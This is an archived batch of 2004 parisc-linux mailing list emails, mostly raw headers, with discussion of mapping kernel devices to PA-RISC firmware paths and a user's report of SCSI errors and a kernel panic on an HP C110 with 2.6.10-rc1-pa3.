	id D048B3BDFD; Sat, 30 Oct 2004 09:40:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17062-02; Sat, 30 Oct 2004 09:40:42 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DB72E3BE16; Sat, 30 Oct 2004 09:40:15 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD1093BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 09:40:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16843-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 09:40:10 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2A0043BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 09:40:10 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8D399494AC2; Sat, 30 Oct 2004 09:40:09 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id EC89E494187
	for <parisc-linux@parisc-linux.org>;
	Sat, 30 Oct 2004 09:40:08 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CNvKp-0001hd-6D; Sat, 30 Oct 2004 16:40:07 +0100
Content-Disposition: inline
In-Reply-To: <20041030023718.GA1099@kroah.com>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24996

On Fri, Oct 29, 2004 at 07:37:18PM -0700, Greg KH wrote:
> Ick, no.  Devices do not "show" their type, you have to explicitly know
> what type they are in order to use them.
> 
> Why are you wanting to know this?  What are you trying to do with a
> generic struct device * where you don't know exactly what type it is?

In order to communicate with PA-RISC firmware, you have to know the path
to a device.  It's typically represented as something like [10/8/4/5/0].
This device can be PCI, GSC or EISA.  There's some moderately arcane
rules for turning a device into a path that you really don't care about,
but we need the devfn for PCI devices and the hw_path for GSC devices.

So what we want to do is, given a struct device, determine its path;
and given a path, turn it into a struct device.  The device model lets
us do this quite nicely -- much better than having duplicated routines
for starting with a pci_dev or a parisc_device.

If you prefer to keep this out of linux/pci.h, that's fine, we can keep
it private to arch/parisc.  I thought this might be something other
architectures might want to use (maybe for openfirmware?)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Domsch <Matt_Domsch@dell.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: How to determine whether a device is PCI or not
Date: Sat, 30 Oct 2004 11:46:30 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20041030164630.GA6434@lists.us.dell.com>
References: <20041027121955.GH3450@parcelfarce.linux.theplanet.co.uk>
	<416174800000772D@mail-4-bnl.tiscali.it>
	<20041027141522.GK3450@parcelfarce.linux.theplanet.co.uk>
	<20041030023718.GA1099@kroah.com>
	<20041030154007.GI8958@parcelfarce.linux.theplanet.co.uk>
	<20041030154822.GA9036@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624501 26405 80.91.229.3 (22 Nov 2014 02:48:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:21 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz,
 parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Greg KH <greg@kroah.com>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29002 invoked by uid 65534); 30 Oct 2004 16:47:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 30 Oct 2004 18:47:22 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 49C893BE1C; Sat, 30 Oct 2004 10:47:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17704-02; Sat, 30 Oct 2004 10:47:18 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D35593BDFD; Sat, 30 Oct 2004 10:47:01 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6FBD53BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 10:46:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17291-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 10:46:54 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 28A5B3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 10:46:54 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A3586494AC2; Sat, 30 Oct 2004 10:46:53 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lists.us.dell.com (lists.us.dell.com [143.166.224.162])
	by palinux.hppa (Postfix) with ESMTP id D233C494187
	for <parisc-linux@parisc-linux.org>;
	Sat, 30 Oct 2004 10:46:52 -0600 (MDT)
Original-Received: from lists.us.dell.com (localhost.localdomain [127.0.0.1])
	by lists.us.dell.com (8.12.10/8.12.10/Dell.IT.3.31.03) with ESMTP id
	i9UGkZMU006495; Sat, 30 Oct 2004 11:46:35 -0500
Original-Received: (from mdomsch@localhost)
	by lists.us.dell.com (8.12.10/8.12.10/Submit) id i9UGkUt9006492;
	Sat, 30 Oct 2004 11:46:30 -0500
Content-Disposition: inline
In-Reply-To: <20041030154822.GA9036@kroah.com>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24997

On Sat, Oct 30, 2004 at 08:48:22AM -0700, Greg KH wrote:
> On Sat, Oct 30, 2004 at 04:40:07PM +0100, Matthew Wilcox wrote:
> > 
> > If you prefer to keep this out of linux/pci.h, that's fine, we can keep
> > it private to arch/parisc.  I thought this might be something other
> > architectures might want to use (maybe for openfirmware?)
> 
> Let's keep it private for now.  If openfirmware ever moves to the device
> tree properly, we can deal with it then :)

The EDD sysfs symlinks would like something like this, not only for
PCI (it does this today by calling pci_find_slot() with the values
BIOS tells it), but doesn't have the infrastructure for making
symlinks to the underlying ATA, SCSI, SAS (coming), ... devices.  I
removed the horrible hacks I put in to try to guess what a device is,
and don't create the symlink from the EDD device to the actual disk
device.  But it would be nice to have a generic method to do it so I
can add that back in.

Thanks,
Matt

-- 
Matt Domsch
Sr. Software Engineer, Lead Engineer
Dell Linux Solutions linux.dell.com & www.dell.com/linux
Linux on Dell mailing lists @ http://lists.us.dell.com
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] k-2.6.10-rc1-pa3 & c110: high data rate => Kernel
	panic - ...
Date: Sat, 30 Oct 2004 19:58:40 +0000
Lines: 148
Approved: news@gmane.org
Message-ID: <4183F270.30705@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624501 26414 80.91.229.3 (22 Nov 2014 02:48:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:21 +0000 (UTC)
To: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22532 invoked by uid 65534); 30 Oct 2004 19:59:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 30 Oct 2004 21:59:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D36503BE21; Sat, 30 Oct 2004 13:59:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19307-07; Sat, 30 Oct 2004 13:59:08 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 24FEC3BE26; Sat, 30 Oct 2004 13:58:53 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56F013BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 13:58:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19276-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 13:58:45 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0A0843BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 13:58:45 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5DE8D494AC2; Sat, 30 Oct 2004 13:58:44 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP id 985DE494187
	for <parisc-linux@parisc-linux.org>;
	Sat, 30 Oct 2004 13:58:43 -0600 (MDT)
Original-Received: from [83.134.227.238] (helo=[83.134.227.238])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CNzN3-0006am-PF; Sat, 30 Oct 2004 21:58:41 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24998

Hello James,

The serial console pb being fixed, I can now boot again my c110 with recent 2.6.10-rc1-pa3 :)

I do first a 'apt-get dist-upgrade' of the chroot disk which use lasi & 53c700 new driver and I unfortunately encounter numerous 
messages (error/warning?):

Oct 30 19:57:33 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
Oct 30 19:57:33 hpalin kernel: scsi1: Bus Reset detected, executing command 2d22a360, slot 2fd6064c, dsp 001d81e8[01e8]
Oct 30 19:57:33 hpalin kernel:  failing command because of reset, slot 2fd6064c, cmnd 2d22a360
Oct 30 20:03:53 hpalin kernel: scsi1: (3:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
Oct 30 20:03:53 hpalin kernel:          len = 10, cmd =scsi1 : destination target 3, lun 0
Oct 30 20:03:53 hpalin kernel:         command = 0x2a 00 00 0c 09 98 00 04 00 00
Oct 30 20:03:53 hpalin kernel: scsi1: Bus Reset detected, executing command 2d22a8e0, slot 2fd608a4, dsp 001d8210[0210]
Oct 30 20:03:53 hpalin kernel:  failing command because of reset, slot 2fd60520, cmnd 2d22ae60
Oct 30 20:03:53 hpalin kernel:  failing command because of reset, slot 2fd6064c, cmnd 2d22a780
Oct 30 20:03:53 hpalin kernel:  failing command because of reset, slot 2fd60778, cmnd 2fd14b60
Oct 30 20:03:53 hpalin kernel:  failing command because of reset, slot 2fd608a4, cmnd 2d22a8e0
Oct 30 20:03:53 hpalin kernel: Incorrect number of segments after building list
Oct 30 20:03:53 hpalin kernel: counted 7, received 6
Oct 30 20:03:53 hpalin kernel: req nr_sec 544, cur_nr_sec 8
Oct 30 20:03:53 hpalin kernel: Buffer I/O error on device sdc5, logical block 17105
Oct 30 20:03:53 hpalin kernel: lost page write due to I/O error on sdc5
Oct 30 20:03:53 hpalin kernel: Buffer I/O error on device sdc5, logical block 17106
Oct 30 20:03:53 hpalin kernel: lost page write due to I/O error on sdc5
Oct 30 20:03:53 hpalin kernel: Buffer I/O error on device sdc5, logical block 17107
Oct 30 20:03:53 hpalin kernel: lost page write due to I/O error on sdc5
Oct 30 20:03:53 hpalin kernel: Buffer I/O error on device sdc5, logical block 17108
Oct 30 20:03:53 hpalin kernel: lost page write due to I/O error on sdc5
Oct 30 20:03:53 hpalin kernel: Buffer I/O error on device sdc5, logical block 17109
Oct 30 20:03:53 hpalin kernel: lost page write due to I/O error on sdc5
Oct 30 20:03:53 hpalin kernel: Buffer I/O error on device sdc5, logical block 17110
Oct 30 20:03:53 hpalin kernel: lost page write due to I/O error on sdc5
Oct 30 20:03:53 hpalin kernel: Buffer I/O error on device sdc5, logical block 17111
Oct 30 20:03:53 hpalin kernel: lost page write due to I/O error on sdc5
Oct 30 20:03:53 hpalin kernel: Buffer I/O error on device sdc5, logical block 17112
Oct 30 20:03:53 hpalin kernel: lost page write due to I/O error on sdc5
Oct 30 20:03:53 hpalin kernel: Buffer I/O error on device sdc5, logical block 17113
Oct 30 20:03:53 hpalin kernel: lost page write due to I/O error on sdc5
Oct 30 20:03:53 hpalin kernel: Buffer I/O error on device sdc5, logical block 17114
Oct 30 20:03:53 hpalin kernel: lost page write due to I/O error on sdc5
Oct 30 20:05:17 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
Oct 30 20:05:17 hpalin kernel: scsi1: Bus Reset detected, executing command 2fd14740, slot 2fd6064c, dsp 001d81e8[01e8]
Oct 30 20:05:17 hpalin kernel:  failing command because of reset, slot 2fd6064c, cmnd 2fd14740
Oct 30 20:07:34 hpalin kernel: end_request: I/O error, dev sdc, sector 4139844
Oct 30 20:07:34 hpalin kernel: printk: 58 messages suppressed.
Oct 30 20:07:34 hpalin kernel: Buffer I/O error on device sdc6, logical block 24883
Oct 30 20:07:34 hpalin kernel: lost page write due to I/O error on sdc6
Oct 30 20:07:34 hpalin kernel: Buffer I/O error on device sdc6, logical block 24884
Oct 30 20:07:34 hpalin kernel: lost page write due to I/O error on sdc6
Oct 30 20:07:34 hpalin kernel: Buffer I/O error on device sdc6, logical block 24885
Oct 30 20:07:34 hpalin kernel: lost page write due to I/O error on sdc6
Oct 30 20:07:34 hpalin kernel: Buffer I/O error on device sdc6, logical block 24886
Oct 30 20:07:34 hpalin kernel: lost page write due to I/O error on sdc6
Oct 30 20:07:34 hpalin kernel: Buffer I/O error on device sdc6, logical block 24887
Oct 30 20:07:34 hpalin kernel: lost page write due to I/O error on sdc6
Oct 30 20:12:42 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
Oct 30 20:12:42 hpalin kernel: scsi1: Bus Reset detected, executing command 2fd148a0, slot 2fd60520, dsp 001d81e8[01e8]
Oct 30 20:12:42 hpalin kernel:  failing command because of reset, slot 2fd60520, cmnd 2fd148a0
Oct 30 20:12:42 hpalin kernel:  failing command because of reset, slot 2fd6064c, cmnd 2fd14060
Oct 30 20:12:42 hpalin kernel:  failing command because of reset, slot 2fd60778, cmnd 2d22aba0
Oct 30 20:12:42 hpalin kernel:  failing command because of reset, slot 2fd608a4, cmnd 2d22a8e0
Oct 30 20:32:41 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
Oct 30 20:32:41 hpalin kernel: scsi1: Bus Reset detected, executing command 2fd14b60, slot 2fd60778, dsp 001d81e8[01e8]
Oct 30 20:32:41 hpalin kernel:  failing command because of reset, slot 2fd60520, cmnd 17cb2340
Oct 30 20:32:41 hpalin kernel:  failing command because of reset, slot 2fd60778, cmnd 2fd14b60
Oct 30 20:45:08 hpalin kernel: scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
Oct 30 20:45:08 hpalin kernel: scsi1: Bus Reset detected, executing command 2bdb0340, slot 2fd60778, dsp 001d81e8[01e8]
Oct 30 20:45:08 hpalin kernel:  failing command because of reset, slot 2fd60778, cmnd 2bdb0340
Oct 30 20:45:08 hpalin kernel:  failing command because of reset, slot 2fd608a4, cmnd 2fd14060

The apt-get operation was near complete:
just a pakage pakage failed to install, a quick check make me appear that postinst and postrm scripts were corrupted :(

But according to previous messages, should I doubt of the intergrity of this chroot disk or only those few files were corrupted?

Secondly the worst thing occured when I try a 'tar cslpf /chroot/Develop/linux-2.6.9-pa1.tar linux-2.6.9-pa1'
(the src linux tree standing on the internal disk using ncr driver and the target file standing on the external disk using 53c700 
driver):

numerous messages of style

          len = 6, cmd =scsi1 : destination target 3, lun 0
         command = 0x2a 00 00 53 3c 66 00 04 00 00
scsi1: Bus Reset detected, executing command 2bc09340, slot 2fd608a4, dsp 001d8] failing command because of reset, slot 2fd60520, 
cmnd 2fd14b60
  failing command because of reset, slot 2fd6064c, cmnd 2bc094a0
  failing command because of reset, slot 2fd60778, cmnd 2bc09b80
  failing command because of reset, slot 2fd608a4, cmnd 2bc09340

ending by the fatal:
Kernel panic - not syncing: drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O M.

And at the reboot weird kernel announce:
[...]
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
scsi1 (0:0) New error handler wants to abort command
         scsi1 : destination target 0, lun 0
         command = 0x12 00 00 00 24 00
scsi1 (0:0) New error handler wants device reset
         scsi1 : destination target 0, lun 0
         command = 0x12 00 00 00 24 00
scsi1 (0:0) New error handler wants BUS reset, cmd 2fd2ab60
         scsi1 : destination target 0, lun 0
         command = 0x12 00 00 00 24 00
scsi1: Bus Reset detected, executing command 2fd2ab60, slot 2fd70520, dsp 001d8] failing command because of reset, slot 2fd70520, 
cmnd 2fd2ab60
  1:0:0:0: Illegal state transition created->quiesce
Badness in scsi_device_set_state at drivers/scsi/scsi_lib.c:1713
Backtrace:
  [<1025de58>] scsi_device_set_state+0xf8/0x1a8
  [<1025df1c>] scsi_device_quiesce+0x14/0x64
  [<102630ac>] spi_dv_device+0x70/0x1a8
  [<102631fc>] spi_dv_device_work_wrapper+0x18/0x3c
  [<10139514>] worker_thread+0x1ac/0x278
  [<1013e04c>] kthread+0xdc/0xe4
  [<1010dc5c>] ret_from_kernel_thread+0x1c/0x24

scsi1 (0:0) New error handler wants HOST reset
         scsi1 : destination target 0, lun 0
         command = 0x12 00 00 00 24 00
scsi: Device offlined - not ready after error recovery: host 1 channel 0 id 0 l0
   Vendor: SEAGATE   Model: ST34573W          Rev: HP11
   Type:   Direct-Access                      ANSI SCSI revision: 02
  target1:0:3: Beginning Domain Validation
scsi1: (3:0) Asynchronous
scsi1: (3:0) Enabling Tag Command Queuing
scsi1: (3:0) Synchronous at offset 8, period 100ns
  target1:0:3: Domain Validation skipping write tests
  target1:0:3: Ending Domain Validation
st: Version 20040403, fixed bufsize 32768, s/g segs 256
[...]

hmm, I try to reproduce the previous panic but I don't reach; this time only one:
  scsi1: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
scsi1: Bus Reset detected, executing command 2fd2aa00, slot 2fd70778, dsp 001d81e8[01e8]
  failing command because of reset, slot 2fd70778, cmnd 2fd2aa00

Thanks in advance for your advise,
     Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] stifb bugfixes against 2.6.10-rc1-bk9
Date: Sat, 30 Oct 2004 21:41:44 +0100
Lines: 81
Approved: news@gmane.org
Message-ID: <20041030204144.GK8958__13630.5870641538$1416624502$gmane$org@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624502 26417 80.91.229.3 (22 Nov 2014 02:48:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Linus Torvalds <torvalds@osdl.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5434 invoked by uid 65534); 30 Oct 2004 20:42:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 30 Oct 2004 22:42:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9CB0F3BDDD; Sat, 30 Oct 2004 14:42:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19432-08; Sat, 30 Oct 2004 14:42:08 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DA6D73BDFD; Sat, 30 Oct 2004 14:41:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 260F33BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 14:41:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19563-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 14:41:47 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E4D143BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 14:41:46 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8DFB4494AC2; Sat, 30 Oct 2004 14:41:46 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id B85AD494187
	for <parisc-linux@parisc-linux.org>;
	Sat, 30 Oct 2004 14:41:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CO02i-0007fy-8O; Sat, 30 Oct 2004 21:41:44 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
